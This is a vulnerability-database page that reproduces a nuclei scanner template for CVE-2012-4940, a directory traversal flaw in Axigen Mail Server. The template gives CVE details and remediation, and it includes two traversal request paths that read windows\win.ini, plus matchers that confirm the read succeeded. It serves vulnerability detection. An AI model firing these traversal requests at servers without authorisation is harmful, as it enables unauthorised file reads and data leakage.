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Axigen Mail Server Filename Directory Traversal

🗓️ 25 Jun 2026 01:31:50Reported by ProjectDiscoveryType 
nuclei
 nuclei
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Multiple directory traversal vulnerabilities in Axigen Mail Server allow unauthorized file access.

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CVE-2012-4940
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31 Oct 201219:00
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Axigen Arbitrary File Read and Delete
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31 Oct 201219:55
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31 Aug 202400:00
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Axigen 8.10 Directory Traversal
7 Mar 202500:00
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31 Oct 201219:55
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Axigen Mail Server directory traversal vulnerability
31 Oct 201200:00
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id: CVE-2012-4940

info:
  name: Axigen Mail Server Filename Directory Traversal
  author: dhiyaneshDk
  severity: medium
  description: Multiple directory traversal vulnerabilities in the View Log Files component in Axigen Free Mail Server allow remote attackers to read or delete arbitrary files via a .. (dot dot) in the fileName parameter in a download action to source/loggin/page_log_dwn_file.hsp, or the fileName parameter in an edit or delete action to the default URI.
  impact: |
    An attacker can read sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Axigen Mail Server.
  reference:
    - https://www.exploit-db.com/exploits/37996
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4940
    - http://www.kb.cert.org/vuls/id/586556
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:N
    cvss-score: 6.4
    cve-id: CVE-2012-4940
    cwe-id: CWE-22
    epss-score: 0.83632
    epss-percentile: 0.99649
    cpe: cpe:2.3:a:gecad:axigen_free_mail_server:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gecad
    product: axigen_free_mail_server
  tags: cve,cve2012,edb,axigen,lfi,mail,gecad,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini'
      - '{{BaseURL}}/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini'

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a004730450220471395753c32186ace3c8e8d570d3b2e1cae3c94f4542783bf620a8377b58c3b022100e481890643c33e93c1edd5b5b91633e4ca3601396a7ddade104d116079d454f5:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
6Medium risk
Vulners AI Score6
CVSS 26.4
EPSS0.83632
25